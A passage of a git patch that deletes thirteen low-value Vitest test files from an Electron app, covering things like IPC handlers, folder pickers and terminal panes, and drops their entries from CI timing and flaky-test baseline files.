From cb5482ae1c42c8749417d4ab8be8b05090a0fd1f Mon Sep 17 00:00:00 2001 From: OrcaWin Date: Fri, 30 Oct 2026 21:39:26 -0700 Subject: [PATCH 01/47] test: remove low-value forwarding and presentation suites (#36584) --- config/flaky-test-pattern-baseline.txt | 1 - config/scripts/ci-shard-timings.json | 11 -- ...rvice-managed-home-removal-retries.test.ts | 117 ------------------ .../orca-profile-org-members-handlers.test.ts | 116 ----------------- .../pty/ipc/claude-diff-panel-notice.test.ts | 109 ---------------- src/main/ipc/repos-picker.test.ts | 117 ------------------ .../browser-extension-action-menu.test.tsx | 109 ---------------- .../presentation/plugin-install-count.test.ts | 11 -- .../ai-vault-search-scope-identity.test.tsx | 109 ---------------- .../sidebar/wsl-host-removal.test.ts | 116 ----------------- .../components/stats/CodexUsagePane.test.tsx | 115 ----------------- .../terminal-cold-park-withheld-tabs.test.ts | 112 ----------------- ...terminal-pane-process-exit-actions.test.ts | 114 ----------------- ...al-close-confirm-keyboard-vs-mouse.test.ts | 112 ----------------- .../lib/worktree-creation-flow-dedupe.test.ts | 113 ----------------- 15 files changed, 1382 deletions(-) delete mode 100644 src/main/codex-accounts/service-managed-home-removal-retries.test.ts delete mode 100644 src/main/ipc/orca-profile-org-members-handlers.test.ts delete mode 100644 src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts delete mode 100644 src/main/ipc/repos-picker.test.ts delete mode 100644 src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx delete mode 100644 src/renderer/src/components/plugins/presentation/plugin-install-count.test.ts delete mode 100644 src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx delete mode 100644 src/renderer/src/components/sidebar/wsl-host-removal.test.ts delete mode 100644 src/renderer/src/components/stats/CodexUsagePane.test.tsx delete mode 100644 src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts delete mode 100644 src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts delete mode 100644 src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts delete mode 100644 src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index edb484f40b3..76a5c0a5ef8 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -12,7 +12,6 @@ 1 test-no-in-test-import-actual:src/main/claude/claude-agent-sdk-process-spawn.test.ts 3 test-no-in-test-import-actual:src/main/codex-accounts/runtime-home-read-only-launch-resolution.test.ts 1 test-no-in-test-import-actual:src/main/codex-accounts/runtime-home-wsl-system-default.test.ts -2 test-no-in-test-import-actual:src/main/codex-accounts/service-managed-home-removal-retries.test.ts 1 test-no-in-test-import-actual:src/main/codex-usage/scanner-file-identity.test.ts 1 test-no-in-test-import-actual:src/main/codex/config-toml-hook-trust-scaling.test.ts 8 test-no-in-test-import-actual:src/main/daemon/daemon-endpoint-publish.test.ts diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 39a921b4adb..7b8317e5c2e 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -1697,7 +1697,6 @@ "src/main/codex-accounts/service-device-code-login.test.ts": 437, "src/main/codex-accounts/service-login-process-teardown.test.ts": 452, "src/main/codex-accounts/service-managed-home-identity.test.ts": 355, - "src/main/codex-accounts/service-managed-home-removal-retries.test.ts": 278, "src/main/codex-accounts/service-quota-refresh-decoupling.test.ts": 421, "src/main/codex-accounts/service-reauthenticate-activation.test.ts": 318, "src/main/codex-accounts/service-reset-credit-durability.test.ts": 767, @@ -2907,7 +2906,6 @@ "src/main/ipc/notifications-workspace-click-binding.test.ts": 346, "src/main/ipc/opencode-go-credentials.test.ts": 42, "src/main/ipc/orca-profile-auth-handlers.test.ts": 492, - "src/main/ipc/orca-profile-org-members-handlers.test.ts": 47, "src/main/ipc/orca-profiles-switch-persistence.test.ts": 2326, "src/main/ipc/orca-profiles.test.ts": 691, "src/main/ipc/parcel-watcher-crash-fuse-recovery.test.ts": 118, @@ -2955,7 +2953,6 @@ "src/main/ipc/pty/host-env/spawn-cwd-hung-folder.test.ts": 577, "src/main/ipc/pty/host-env/spawn-cwd-wsl-move.test.ts": 250, "src/main/ipc/pty/host-env/startup-cwd-directory-exists.test.ts": 74, - "src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts": 42, "src/main/ipc/pty/ipc/claude-old-terminal.test.ts": 41, "src/main/ipc/pty/ipc/closed-pane-spawn-refusal.test.ts": 161, "src/main/ipc/pty/ipc/codex-shared-server.test.ts": 81, @@ -3069,7 +3066,6 @@ "src/main/ipc/repos-local-clone-lifecycle.test.ts": 1322, "src/main/ipc/repos-nested-import.test.ts": 1224, "src/main/ipc/repos-nested-scan.test.ts": 933, - "src/main/ipc/repos-picker.test.ts": 1077, "src/main/ipc/repos-remote-base-ref-queries.test.ts": 1138, "src/main/ipc/repos-remote-client-events.test.ts": 1301, "src/main/ipc/repos-sparse-presets.test.ts": 1238, @@ -8137,7 +8133,6 @@ "src/renderer/src/components/right-sidebar/ai-vault-scope-paths.test.ts": 65, "src/renderer/src/components/right-sidebar/ai-vault-scope-state.test.ts": 30, "src/renderer/src/components/right-sidebar/ai-vault-search-hit-hosts.test.ts": 45, - "src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx": 479, "src/renderer/src/components/right-sidebar/ai-vault-search-session.test.ts": 88, "src/renderer/src/components/right-sidebar/ai-vault-session-cli-fork.test.ts": 1630, "src/renderer/src/components/right-sidebar/ai-vault-session-conditional-refresh-hook.test.tsx": 1736, @@ -8901,7 +8896,6 @@ "src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts": 19, "src/renderer/src/components/sidebar/worktree-unnest.test.ts": 94, "src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts": 45, - "src/renderer/src/components/sidebar/wsl-host-removal.test.ts": 129, "src/renderer/src/components/sidebar/wsl-host-row-status.test.ts": 282, "src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx": 292, "src/renderer/src/components/skills/SkillFreshnessStatusPill.test.tsx": 2390, @@ -8934,7 +8928,6 @@ "src/renderer/src/components/sparse/sparse-directory-entry-input.test.ts": 107, "src/renderer/src/components/star-nag/StarNagAgentValueMomentObserver.test.tsx": 1534, "src/renderer/src/components/star-nag/StarNagToastHost.test.tsx": 344, - "src/renderer/src/components/stats/CodexUsagePane.test.tsx": 753, "src/renderer/src/components/stats/usage-daily-chart.test.tsx": 189, "src/renderer/src/components/stats/usage-overview-model.test.ts": 422, "src/renderer/src/components/status-bar/CaffeinateStatusSegment.localization.test.tsx": 482, @@ -9489,7 +9482,6 @@ "src/renderer/src/components/terminal-pane/terminal-cold-park-tab-model-identity.react185.test.tsx": 774, "src/renderer/src/components/terminal-pane/terminal-cold-park-timer-rearm.test.tsx": 538, "src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx": 694, - "src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts": 48, "src/renderer/src/components/terminal-pane/terminal-command-lifecycle.test.ts": 46, "src/renderer/src/components/terminal-pane/terminal-copy-shortcut.test.ts": 1636, "src/renderer/src/components/terminal-pane/terminal-ctrl-enter.test.ts": 115, @@ -9712,7 +9704,6 @@ "src/renderer/src/components/terminal-pane/use-terminal-pane-global-effects-visibility-resume.test.ts": 1476, "src/renderer/src/components/terminal-pane/use-terminal-pane-global-effects-window-focus-recovery.test.ts": 1531, "src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts": 1551, - "src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts": 204, "src/renderer/src/components/terminal-pane/use-terminal-park-mount-intent.react185.test.tsx": 251, "src/renderer/src/components/terminal-pane/use-terminal-scroll-visibility-memory.test.ts": 56, "src/renderer/src/components/terminal-pane/use-terminal-tab-cold-parking.test.ts": 461, @@ -9749,7 +9740,6 @@ "src/renderer/src/components/terminal/split-group-mount.test.ts": 58, "src/renderer/src/components/terminal/startup-terminal-tab-hold.test.ts": 1872, "src/renderer/src/components/terminal/tab-type-cycle.test.ts": 39, - "src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts": 211, "src/renderer/src/components/terminal/terminal-close-copy-kind.test.ts": 40, "src/renderer/src/components/terminal/terminal-close-incarnation.test.ts": 28, "src/renderer/src/components/terminal/terminal-provider-snapshot-bound-pty-ids.test.ts": 1570, @@ -10662,7 +10652,6 @@ "src/renderer/src/lib/worktree-creation-backend-startup-focus.test.ts": 1775, "src/renderer/src/lib/worktree-creation-background-mount.test.ts": 2109, "src/renderer/src/lib/worktree-creation-chat-setup.test.ts": 2040, - "src/renderer/src/lib/worktree-creation-flow-dedupe.test.ts": 1005, "src/renderer/src/lib/worktree-creation-flow-ready-toast.test.ts": 2003, "src/renderer/src/lib/worktree-creation-flow-stranded-surface.test.ts": 1041, "src/renderer/src/lib/worktree-creation-flow.test.ts": 2013, diff --git a/src/main/codex-accounts/service-managed-home-removal-retries.test.ts b/src/main/codex-accounts/service-managed-home-removal-retries.test.ts deleted file mode 100644 index 2d4b31dbe80..00000000000 --- a/src/main/codex-accounts/service-managed-home-removal-retries.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from 'vitest' -import { installFakeAppEnvironment } from '../../../config/scripts/vitest-host-ports-setup' -import { existsSync } from 'node:fs' -import type * as NodeFs from 'node:fs' -import { - createManagedHome, - createRateLimits, - createRuntimeHome, - createSettings, - createStore, - registerCodexAccountsTestHomes, - testState -} from './service-test-harness' - -vi.mock('electron', () => ({ - app: { - getPath: () => testState.userDataDir - } -})) -beforeEach(() => installFakeAppEnvironment({ getPath: () => testState.userDataDir })) - -vi.mock(import('node:os'), async (importOriginal) => { - const actual = await importOriginal() - return { - ...actual, - homedir: () => testState.fakeHomeDir - } -}) - -describe('CodexAccountService config sync', () => { - registerCodexAccountsTestHomes() - - it('removes managed homes with bounded rm retries for transient Windows locks', async () => { - vi.resetModules() - const actualFs = await vi.importActual('node:fs') - const rmSyncSpy = vi.fn(actualFs.rmSync) - vi.doMock('node:fs', () => ({ ...actualFs, rmSync: rmSyncSpy })) - - try { - // Match ownership canonicalization, including /private/var paths on macOS. - const managedHomePath = actualFs.realpathSync( - createManagedHome(testState.userDataDir, 'account-1') - ) - const store = createStore(createSettings()) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - ;( - service as unknown as { - safeRemoveManagedHome(candidatePath: string, expectedAccountId: string): void - } - ).safeRemoveManagedHome(managedHomePath, 'account-1') - - expect(existsSync(managedHomePath)).toBe(false) - const homeRemoval = rmSyncSpy.mock.calls.find(([target]) => target === managedHomePath) - expect(homeRemoval?.[1]).toMatchObject({ - recursive: true, - force: true, - maxRetries: 8, - retryDelay: 150 - }) - } finally { - vi.doUnmock('node:fs') - } - }) - - it('does not throw when managed home removal keeps failing on a held handle', async () => { - vi.resetModules() - const actualFs = await vi.importActual('node:fs') - let managedHomePath = '' - const lockedError = Object.assign(new Error('ENOTEMPTY: directory not empty'), { - code: 'ENOTEMPTY' - }) - const rmSyncSpy = vi.fn((target: Parameters[0], options) => { - if (target === managedHomePath) { - throw lockedError - } - actualFs.rmSync(target, options) - }) - vi.doMock('node:fs', () => ({ ...actualFs, rmSync: rmSyncSpy })) - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}) - - try { - managedHomePath = actualFs.realpathSync(createManagedHome(testState.userDataDir, 'account-1')) - const store = createStore(createSettings()) - const rateLimits = createRateLimits() - const runtimeHome = createRuntimeHome() - const { CodexAccountService } = await import('./service') - const service = new CodexAccountService( - store as never, - rateLimits as never, - runtimeHome as never - ) - - expect(() => - ( - service as unknown as { - safeRemoveManagedHome(candidatePath: string, expectedAccountId: string): void - } - ).safeRemoveManagedHome(managedHomePath, 'account-1') - ).not.toThrow() - expect(warnSpy).toHaveBeenCalledWith( - '[codex-accounts] Failed to remove managed home:', - lockedError - ) - } finally { - warnSpy.mockRestore() - vi.doUnmock('node:fs') - } - }) -}) diff --git a/src/main/ipc/orca-profile-org-members-handlers.test.ts b/src/main/ipc/orca-profile-org-members-handlers.test.ts deleted file mode 100644 index 6dc6775a638..00000000000 --- a/src/main/ipc/orca-profile-org-members-handlers.test.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - handlers, - listOrcaProfileOrgMembersMock, - inviteOrcaProfileOrgMemberMock, - revokeOrcaProfileOrgInviteMock, - changeOrcaProfileOrgMemberRoleMock, - removeOrcaProfileOrgMemberMock -} = vi.hoisted(() => ({ - handlers: new Map unknown>(), - listOrcaProfileOrgMembersMock: vi.fn(), - inviteOrcaProfileOrgMemberMock: vi.fn(), - revokeOrcaProfileOrgInviteMock: vi.fn(), - changeOrcaProfileOrgMemberRoleMock: vi.fn(), - removeOrcaProfileOrgMemberMock: vi.fn() -})) - -vi.mock('electron', () => ({ - ipcMain: { - handle: vi.fn((channel: string, handler: (_event: unknown, args?: unknown) => unknown) => { - handlers.set(channel, handler) - }) - } -})) - -vi.mock('../orca-profiles/profile-storage-paths', () => ({ - getProfileUserDataPath: () => '/tmp/orca-user-data' -})) - -vi.mock('../orca-profiles/profile-cloud-org-members-service', () => ({ - listOrcaProfileOrgMembers: listOrcaProfileOrgMembersMock, - inviteOrcaProfileOrgMember: inviteOrcaProfileOrgMemberMock, - revokeOrcaProfileOrgInvite: revokeOrcaProfileOrgInviteMock, - changeOrcaProfileOrgMemberRole: changeOrcaProfileOrgMemberRoleMock, - removeOrcaProfileOrgMember: removeOrcaProfileOrgMemberMock -})) - -import { registerOrcaProfileOrgMemberHandlers } from './orca-profile-org-members-handlers' - -function invoke(channel: string, args?: unknown): unknown { - const handler = handlers.get(channel) - if (!handler) { - throw new Error(`No handler for ${channel}`) - } - return handler({}, args) -} - -describe('registerOrcaProfileOrgMemberHandlers', () => { - beforeEach(() => { - handlers.clear() - listOrcaProfileOrgMembersMock.mockReset().mockResolvedValue({ status: 'ok', roster: {} }) - inviteOrcaProfileOrgMemberMock.mockReset().mockResolvedValue({ status: 'ok' }) - revokeOrcaProfileOrgInviteMock.mockReset().mockResolvedValue({ status: 'ok' }) - changeOrcaProfileOrgMemberRoleMock.mockReset().mockResolvedValue({ status: 'ok' }) - removeOrcaProfileOrgMemberMock.mockReset().mockResolvedValue({ status: 'ok' }) - registerOrcaProfileOrgMemberHandlers() - }) - - it('registers all five org-member channels', () => { - expect([...handlers.keys()].sort()).toEqual( - [ - 'orcaProfiles:orgInviteRevoke', - 'orcaProfiles:orgMemberChangeRole', - 'orcaProfiles:orgMemberInvite', - 'orcaProfiles:orgMemberRemove', - 'orcaProfiles:orgMembersList' - ].sort() - ) - }) - - it('forwards a valid invite to the service with a trimmed email', async () => { - await invoke('orcaProfiles:orgMemberInvite', { - orgId: 'org-1', - email: ' new@example.com ', - role: 'admin' - }) - expect(inviteOrcaProfileOrgMemberMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - email: 'new@example.com', - role: 'admin' - }) - }) - - it('rejects an invite with a missing org id', async () => { - await expect( - invoke('orcaProfiles:orgMemberInvite', { email: 'a@b.com', role: 'member' }) - ).rejects.toThrow('invalid_orca_profile_org_selection') - expect(inviteOrcaProfileOrgMemberMock).not.toHaveBeenCalled() - }) - - it('rejects an invite with an unknown role', async () => { - await expect( - invoke('orcaProfiles:orgMemberInvite', { orgId: 'org-1', email: 'a@b.com', role: 'root' }) - ).rejects.toThrow('invalid_orca_org_role') - }) - - it('rejects a role change with a blank user id', async () => { - await expect( - invoke('orcaProfiles:orgMemberChangeRole', { orgId: 'org-1', userId: ' ', role: 'admin' }) - ).rejects.toThrow('invalid_orca_org_member_user') - }) - - it('forwards remove and revoke with validated args', async () => { - await invoke('orcaProfiles:orgMemberRemove', { orgId: 'org-1', userId: 'user-2' }) - expect(removeOrcaProfileOrgMemberMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - userId: 'user-2' - }) - await invoke('orcaProfiles:orgInviteRevoke', { orgId: 'org-1', email: 'gone@b.com' }) - expect(revokeOrcaProfileOrgInviteMock).toHaveBeenCalledWith('/tmp/orca-user-data', { - orgId: 'org-1', - email: 'gone@b.com' - }) - }) -}) diff --git a/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts b/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts deleted file mode 100644 index 08e3ad4a0eb..00000000000 --- a/src/main/ipc/pty/ipc/claude-diff-panel-notice.test.ts +++ /dev/null @@ -1,109 +0,0 @@ -import { beforeEach, expect, it, vi } from 'vitest' - -type Handler = (event: unknown, args: { id: unknown; target?: unknown }) => Promise - -type Mocks = { - handlers: Map - ownership: Map - startup: ReturnType Promise | undefined>> - version: string | null - size: { cols: number; rows: number } | null - routedHome: string | null - userConfigDir: string | undefined - mayAutoOpen: ReturnType Promise>> -} - -const mocks = vi.hoisted((): Mocks => ({ - handlers: new Map(), - ownership: new Map(), - startup: vi.fn<() => Promise | undefined>(), - version: 'unprobed', - size: { cols: 180, rows: 40 }, - routedHome: '/accounts/a/home', - userConfigDir: '/home/me/claude-config', - mayAutoOpen: vi.fn<(input: unknown) => Promise>() -})) -vi.mock('../pty-host-bindings', () => ({ - getPtyIpc: () => ({ - handle: (channel: string, handler: Handler) => mocks.handlers.set(channel, handler) - }) -})) -vi.mock('../provider/ownership-state', () => ({ ptyOwnership: mocks.ownership })) -vi.mock('../provider/registry', () => ({ - tryGetProviderForPty: () => ({ getAppliedSize: async () => mocks.size }) -})) -vi.mock('../../../claude/claude-hook-event-versions', () => ({ - probeRecentClaudeCliVersion: async () => mocks.version -})) -vi.mock('../../../codex-cli/command', () => ({ resolveClaudeCommand: () => '/bin/claude' })) -vi.mock('../../../claude-accounts/claude-profile-installed-router', () => ({ - getClaudeProfileRouter: () => ({ - routedHome: () => mocks.routedHome, - userConfigDir: () => mocks.userConfigDir - }) -})) -vi.mock('../../../claude/claude-diff-panel-auto-open', () => ({ - claudeDiffPanelMayAutoOpen: mocks.mayAutoOpen -})) - -import { toAppSshPtyId } from '../../../providers/ssh-pty-id' -import { installPtyClaudeDiffPanelNoticeIpcHandler } from './claude-diff-panel-notice' - -const HOST = { runtime: 'host' } - -beforeEach(() => { - mocks.handlers.clear() - mocks.ownership.clear() - mocks.version = '2.1.301' - mocks.size = { cols: 180, rows: 40 } - mocks.routedHome = '/accounts/a/home' - mocks.userConfigDir = '/home/me/claude-config' - mocks.mayAutoOpen.mockReset().mockResolvedValue(true) - installPtyClaudeDiffPanelNoticeIpcHandler({ getLocalPtyProviderStartupPromise: mocks.startup }) -}) - -function ask(id: unknown, target: unknown = HOST): Promise { - return mocks.handlers.get('pty:claudeDiffPanelMayAutoOpen')!({}, { id, target }) -} - -it('judges a host pane by the config dir its claude sees, its Claude version and its width', async () => { - expect(await ask('pty-1')).toBe(true) - expect(mocks.startup).toHaveBeenCalled() - expect(mocks.mayAutoOpen).toHaveBeenCalledWith({ - configDirEnv: '/accounts/a/home', - version: '2.1.301', - cols: 180 - }) - - // System default runs on the user's own CLAUDE_CONFIG_DIR, or on the CLI default without one. - mocks.routedHome = null - mocks.size = null - await ask('pty-1') - expect(mocks.mayAutoOpen).toHaveBeenLastCalledWith({ - configDirEnv: '/home/me/claude-config', - version: '2.1.301', - cols: null - }) - mocks.userConfigDir = undefined - await ask('pty-1') - expect(mocks.mayAutoOpen).toHaveBeenLastCalledWith({ - configDirEnv: undefined, - version: '2.1.301', - cols: null - }) -}) - -it('answers false for WSL, SSH and remotely owned panes without reading any config', async () => { - expect(await ask('pty-1', { runtime: 'wsl', wslDistro: 'Ubuntu' })).toBe(false) - expect(await ask(toAppSshPtyId('conn-1', 'pty-1'))).toBe(false) - expect(await ask('remote:env-1@@pty-1')).toBe(false) - mocks.ownership.set('pty-2', 'host-b') - expect(await ask('pty-2')).toBe(false) - expect(await ask(42)).toBe(false) - expect(mocks.mayAutoOpen).not.toHaveBeenCalled() -}) - -it('answers false when the check itself fails', async () => { - mocks.mayAutoOpen.mockRejectedValue(new Error('unreadable')) - expect(await ask('pty-1')).toBe(false) -}) diff --git a/src/main/ipc/repos-picker.test.ts b/src/main/ipc/repos-picker.test.ts deleted file mode 100644 index be3029d24ff..00000000000 --- a/src/main/ipc/repos-picker.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { join, sep } from 'node:path' -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { handleMock, removeHandlerMock, showOpenDialogMock } = vi.hoisted(() => ({ - handleMock: vi.fn(), - removeHandlerMock: vi.fn(), - showOpenDialogMock: vi.fn() -})) - -vi.mock('electron', () => ({ - dialog: { showOpenDialog: showOpenDialogMock }, - ipcMain: { - handle: handleMock, - removeHandler: removeHandlerMock - } -})) - -vi.mock('../git/runner', () => ({ - gitExecFileAsync: vi.fn(), - gitSpawn: vi.fn() -})) - -vi.mock('../git/repo', () => ({ - isGitRepo: vi.fn(), - getRepoName: vi.fn(), - getBaseRefDefault: vi.fn(), - searchBaseRefs: vi.fn() -})) - -vi.mock('./registered-worktree-roots-cache', () => ({ - invalidateAuthorizedRootsCache: vi.fn(), - invalidateAuthorizedRootsCacheForRepo: vi.fn() -})) - -import { registerRepoHandlers } from './repos' - -describe('repos folder pickers', () => { - const handlers = new Map unknown>() - const mockWindow = { - isDestroyed: () => false, - webContents: { send: vi.fn() } - } - const mockStore = { - getRepos: vi.fn().mockReturnValue([]), - addRepo: vi.fn(), - getRepo: vi.fn(), - updateRepo: vi.fn() - } - - const callPickFolders = (): Promise => { - const handler = handlers.get('repos:pickFolders') - if (!handler) { - throw new Error('repos:pickFolders handler was never registered') - } - return handler(null, undefined) as Promise - } - - const callPickDirectory = (): Promise => { - const handler = handlers.get('repos:pickDirectory') - if (!handler) { - throw new Error('repos:pickDirectory handler was never registered') - } - return handler(null, undefined) as Promise - } - - beforeEach(() => { - handlers.clear() - handleMock.mockReset() - handleMock.mockImplementation((channel: string, handler: (...args: unknown[]) => unknown) => { - handlers.set(channel, handler as (event: unknown, args: unknown) => unknown) - }) - removeHandlerMock.mockReset() - showOpenDialogMock.mockReset() - - registerRepoHandlers(mockWindow as never, mockStore as never, {} as never) - }) - - it('registers the multi-folder picker with handler cleanup', () => { - expect(handlers.has('repos:pickFolders')).toBe(true) - expect(removeHandlerMock).toHaveBeenCalledWith('repos:pickFolders') - }) - - it('picks multiple folders for the add-project browse flow', async () => { - const projectA = join(sep, 'projects', 'a') - const projectB = join(sep, 'projects', 'b') - showOpenDialogMock.mockResolvedValue({ - canceled: false, - filePaths: [projectA, projectB] - }) - - await expect(callPickFolders()).resolves.toEqual([projectA, projectB]) - - expect(showOpenDialogMock).toHaveBeenCalledWith(mockWindow, { - properties: ['openDirectory', 'multiSelections'] - }) - }) - - it('returns an empty folder list when multi-folder picking is canceled', async () => { - showOpenDialogMock.mockResolvedValue({ canceled: true, filePaths: [] }) - - await expect(callPickFolders()).resolves.toEqual([]) - }) - - it('picks an existing directory without enabling native directory creation', async () => { - const parentDir = join(sep, 'projects') - showOpenDialogMock.mockResolvedValue({ - canceled: false, - filePaths: [parentDir] - }) - - await expect(callPickDirectory()).resolves.toBe(parentDir) - - expect(showOpenDialogMock).toHaveBeenCalledWith(mockWindow, { - properties: ['openDirectory'] - }) - }) -}) diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx deleted file mode 100644 index 3e176311afb..00000000000 --- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx +++ /dev/null @@ -1,109 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { ConfirmationDialogContext } from '@/components/confirmation-dialog-context' -import { DropdownMenu, DropdownMenuContent } from '@/components/ui/dropdown-menu' -import type { BrowserExtensionContextMenuPayload } from '../../../../../shared/browser-extension-context-menu-types' -import type { BrowserExtensionToolbarAction } from '../../../../../shared/browser-extension-toolbar-types' -import { - BrowserExtensionDropdownEntries, - useBrowserExtensionActionMenuEntries -} from './browser-extension-action-menu' - -const EXTENSION_ID = 'a'.repeat(32) -const action: BrowserExtensionToolbarAction = { - extensionId: EXTENSION_ID, - name: 'Notes', - title: 'Notes', - iconDataUrl: null, - badgeText: '', - badgeBackgroundColor: null, - badgeTextColor: null, - enabled: true, - hasPopup: false, - pinned: true, - hasOptionsPage: false, - source: 'unpacked' -} -const menu: BrowserExtensionContextMenuPayload = { - token: 'token-1', - groups: [ - { - extensionId: EXTENSION_ID, - items: [ - { - key: '"save"', - title: 'Save page', - type: 'normal', - checked: false, - enabled: true, - children: [] - } - ] - } - ] -} - -const declineConfirmation = async (): Promise => false - -function OpenActionMenu(): React.JSX.Element { - const entries = useBrowserExtensionActionMenuEntries('default', action, 'page-1') - return ( - - - - - - ) -} - -let root: Root -let container: HTMLDivElement -const fetchMenu = vi.fn(async () => menu) -const click = vi.fn(async () => true) - -beforeEach(() => { - container = document.createElement('div') - document.body.append(container) - root = createRoot(container) - Object.assign(window, { - api: { browser: { extensionsActionContextMenu: fetchMenu, extensionsContextMenuClick: click } } - }) -}) - -afterEach(() => { - act(() => root.unmount()) - container.remove() - fetchMenu.mockClear() - click.mockClear() -}) - -describe('extension action menu', () => { - it("shows the extension's action items and clicks them through main's snapshot", async () => { - await act(async () => { - root.render( - - - - ) - }) - - expect(fetchMenu).toHaveBeenCalledWith({ - profileId: 'default', - extensionId: EXTENSION_ID, - browserPageId: 'page-1' - }) - const item = [...document.querySelectorAll('[role="menuitem"]')].find( - (element) => element.textContent?.trim() === 'Save page' - ) - expect(item).toBeDefined() - act(() => item?.click()) - expect(click).toHaveBeenCalledWith({ - token: 'token-1', - extensionId: EXTENSION_ID, - key: '"save"' - }) - }) -}) diff --git a/src/renderer/src/components/plugins/presentation/plugin-install-count.test.ts b/src/renderer/src/components/plugins/presentation/plugin-install-count.test.ts deleted file mode 100644 index 6f27f997163..00000000000 --- a/src/renderer/src/components/plugins/presentation/plugin-install-count.test.ts +++ /dev/null @@ -1,11 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { formatPluginInstallCount, pluginInstallCountLabel } from './plugin-install-count' - -describe('plugin install count', () => { - it('formats counts compactly, like the plugin site', () => { - expect(formatPluginInstallCount(37)).toBe('37') - expect(formatPluginInstallCount(1234)).toBe('1.2k') - expect(formatPluginInstallCount(2_500_000)).toBe('2.5m') - expect(pluginInstallCountLabel(1234)).toBe('1.2k installs') - }) -}) diff --git a/src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx b/src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx deleted file mode 100644 index 43957af1cc9..00000000000 --- a/src/renderer/src/components/right-sidebar/ai-vault-search-scope-identity.test.tsx +++ /dev/null @@ -1,109 +0,0 @@ -// @vitest-environment happy-dom -import { act, renderHook } from '@testing-library/react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AiVaultSearchRequest, - AiVaultSearchResponse -} from '../../../../shared/ai-vault-search-types' -import type { ExecutionHostScope } from '../../../../shared/execution-host' -import { searchResults } from '../../../../shared/ai-vault-search-test-fixture' -import { aiVaultSearchScopeIdentity } from './ai-vault-search-scope-identity' -import { useAiVaultPanelSearch } from './use-ai-vault-search' - -vi.mock('@/store', () => ({ - useAppStore: (select: (state: { settings: undefined }) => unknown) => - select({ settings: undefined }) -})) - -const AGENTS = ['codex' as const] -// Keep the reference stable as in the panel; request identity depends on it. -const WORKSPACE = { kind: 'workspace', worktreeId: 'repo-1::/work/app' } as const -const searchSessions = - vi.fn< - (request: AiVaultSearchRequest, scope?: ExecutionHostScope) => Promise - >() - -beforeEach(() => { - vi.useFakeTimers() - Object.defineProperty(window, 'api', { - configurable: true, - value: { aiVault: { searchSessions } } - }) - searchSessions.mockReset().mockResolvedValue(searchResults()) -}) -afterEach(() => vi.useRealTimers()) - -async function debounce() { - await act(async () => { - await vi.advanceTimersByTimeAsync(250) - }) -} - -describe('the panel scope as a request carries it', () => { - it('names the active workspace', () => { - expect( - aiVaultSearchScopeIdentity({ - scope: 'workspace', - activeWorktreeId: 'repo-1::/work/app', - activeProjectKey: 'repo:repo-1' - }) - ).toEqual({ kind: 'workspace', worktreeId: 'repo-1::/work/app' }) - }) - - it('names the active project', () => { - expect( - aiVaultSearchScopeIdentity({ - scope: 'project', - activeWorktreeId: 'repo-1::/work/app', - activeProjectKey: 'project:proj-1' - }) - ).toEqual({ kind: 'project', projectKey: 'project:proj-1' }) - }) - - it('sends nothing for All, which still means every session the host has', () => { - expect( - aiVaultSearchScopeIdentity({ - scope: 'all', - activeWorktreeId: 'repo-1::/work/app', - activeProjectKey: 'repo:repo-1' - }) - ).toBeUndefined() - }) - - it('sends nothing when the scope has no subject yet', () => { - expect( - aiVaultSearchScopeIdentity({ - scope: 'project', - activeWorktreeId: null, - activeProjectKey: null - }) - ).toBeUndefined() - }) -}) - -describe('the panel hook under a scope identity', () => { - it('sends the identity and no path list', async () => { - const within = { kind: 'project', projectKey: 'repo:repo-1' } as const - const { unmount } = renderHook(() => - useAiVaultPanelSearch('needle', AGENTS, within, 'ssh:build-box', 'relevance') - ) - await debounce() - 